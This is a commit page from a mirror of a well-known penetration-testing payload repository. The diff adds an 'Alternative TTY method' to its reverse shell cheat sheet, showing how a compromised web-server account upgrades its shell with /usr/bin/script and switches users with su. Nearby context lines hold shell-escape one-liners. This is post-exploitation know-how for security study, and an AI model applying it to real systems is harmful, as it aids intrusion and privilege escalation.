mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-14 23:32:45 +00:00
Merge pull request #187 from thibaudrobin/patch-2
Alternative TTY method with /usr/bin/script
This commit is contained in:
commit
735b0d2277
1 changed files with 13 additions and 0 deletions
|
@ -431,6 +431,19 @@ lua: os.execute('/bin/sh')
|
||||||
- nmap: `!sh`
|
- nmap: `!sh`
|
||||||
- mysql: `! bash`
|
- mysql: `! bash`
|
||||||
|
|
||||||
|
Alternative TTY method
|
||||||
|
|
||||||
|
```
|
||||||
|
www-data@debian:/dev/shm$ su - user
|
||||||
|
su: must be run from a terminal
|
||||||
|
|
||||||
|
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
|
||||||
|
www-data@debian:/dev/shm$ su - user
|
||||||
|
Password: P4ssW0rD
|
||||||
|
|
||||||
|
user@debian:~$
|
||||||
|
```
|
||||||
|
|
||||||
## Fully interactive reverse shell on Windows
|
## Fully interactive reverse shell on Windows
|
||||||
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
|
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue